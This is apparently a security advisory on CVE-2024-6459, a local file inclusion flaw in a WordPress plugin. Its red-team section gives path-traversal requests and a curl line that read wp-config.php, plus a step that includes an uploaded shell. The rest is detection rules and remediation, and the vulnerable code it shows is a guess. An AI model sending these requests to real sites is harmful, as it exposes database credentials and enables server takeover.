CVE-2024-6459

Executive Summary

CVE-2024-6459 is a critical Local File Inclusion (LFI) vulnerability discovered in the News Element Elementor Blog Magazine WordPress plugin (versions before 1.0.6). This flaw allows an unauthenticated attacker to include and execute arbitrary PHP files from the server by manipulating the template parameter. Successful exploitation can lead to remote code execution (RCE), full server compromise, and data exfiltration. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk remains high due to the unauthenticated nature of the attack.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks. Administrators should verify the integrity of their plugin installations and ensure they are sourced from trusted channels.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated critical based on impact)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Unauthenticated LFI leading to RCE.

Deep Dive & Mechanics

The vulnerability resides in the template parameter of the News Element plugin. The plugin fails to properly sanitize user-supplied input before using it in a PHP include() or require() statement. An attacker can supply a path traversal sequence (e.g., ../../../wp-config.php) to include sensitive files, or use PHP wrappers like php://filter to read source code. More critically, if the attacker can upload a malicious PHP file (e.g., via another vulnerability or file upload feature), they can include and execute it, achieving RCE.

The vulnerable code likely looks like:

include( $_GET['template'] . '.php' );

This allows an attacker to control the file path, bypassing the .php extension by using null byte injection or path traversal.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.0.6):

// Vulnerable: No sanitization of template parameter
$template = $_GET['template'];
include( $template . '.php' );

Patched Code (version 1.0.6):

// Patched: Whitelist allowed templates
$allowed_templates = array('default', 'list', 'grid');
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
if (in_array($template, $allowed_templates)) {
    include( plugin_dir_path(__FILE__) . 'templates/' . $template . '.php' );
} else {
    // Fallback to default
    include( plugin_dir_path(__FILE__) . 'templates/default.php' );
}

The patch introduces a whitelist of allowed template names and restricts inclusion to a specific directory, preventing path traversal.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with News Element plugin version < 1.0.6.
• No authentication required.

Exploitation Steps:

1. Identify vulnerable parameter: The template parameter in the plugin's shortcode or page.
2. Test for LFI: Send a request to include a sensitive file:

   GET /?page_id=1&template=../../../wp-config.php HTTP/1.1
   Host: target.com
   

3. Achieve RCE: If you can upload a PHP shell (e.g., via another plugin or theme), include it:

   GET /?page_id=1&template=../../../wp-content/uploads/shell HTTP/1.1
   Host: target.com
   

   (Note: The .php extension is appended automatically, so the uploaded file should be named shell.php.)

Example curl command:

curl -v "http://target.com/?page_id=1&template=../../../wp-config.php"

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for suspicious template parameter values containing ../ or php://.
• Use WAF rules to block path traversal patterns.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_query=*template=*../*
| table _time, src_ip, uri, uri_query

Lab Setup:

• Use a local WordPress installation with Docker:

  docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wp -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp -p 8080:80 -d wordpress
  

• Install the vulnerable plugin manually from a version < 1.0.6.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with template parameter containing ../, php://, or file://.
  • Outbound connections to attacker-controlled IPs after successful RCE.
• File System IOCs:
  • Unexpected files in /wp-content/uploads/ with .php extension.
  • Modified .htaccess files.
• Log IOCs:
  • Web server logs showing 404 errors for non-existent template files.
  • PHP error logs with include() failures.

Detection Engineering

YARA Rule

rule CVE_2024_6459_LFI_NewsElement {
    meta:
        description = "Detects LFI attempts targeting News Element plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6459"
    strings:
        $lfi1 = "template="
        $lfi2 = "../"
        $lfi3 = "php://"
        $lfi4 = "file://"
    condition:
        any of ($lfi*) and #lfi1 > 0
}

Sigma Rule

title: CVE-2024-6459 News Element LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal in template parameter of News Element plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'template=../'
            - 'template=php://'
            - 'template=file://'
    condition: selection
falsepositives:
    - Legitimate use of template parameter with valid values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6459 News Element LFI Attempt"; flow:to_server,established; content:"template="; http_uri; content:"../"; distance:0; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update the News Element plugin to version 1.0.6 or later.
2. Virtual Patching: If immediate update is not possible, add a WAF rule to block requests containing template=../ or template=php://.
3. File Permissions: Ensure that WordPress file permissions are restrictive (e.g., 644 for files, 755 for directories).
4. Disable PHP Execution in Uploads: Add the following to .htaccess in /wp-content/uploads/:

   <Files *.php>
       deny from all
   </Files>
   

5. Monitor Logs: Regularly review web server and PHP error logs for suspicious activity.
6. Least Privilege: Run WordPress with minimal PHP user privileges.

Valters IT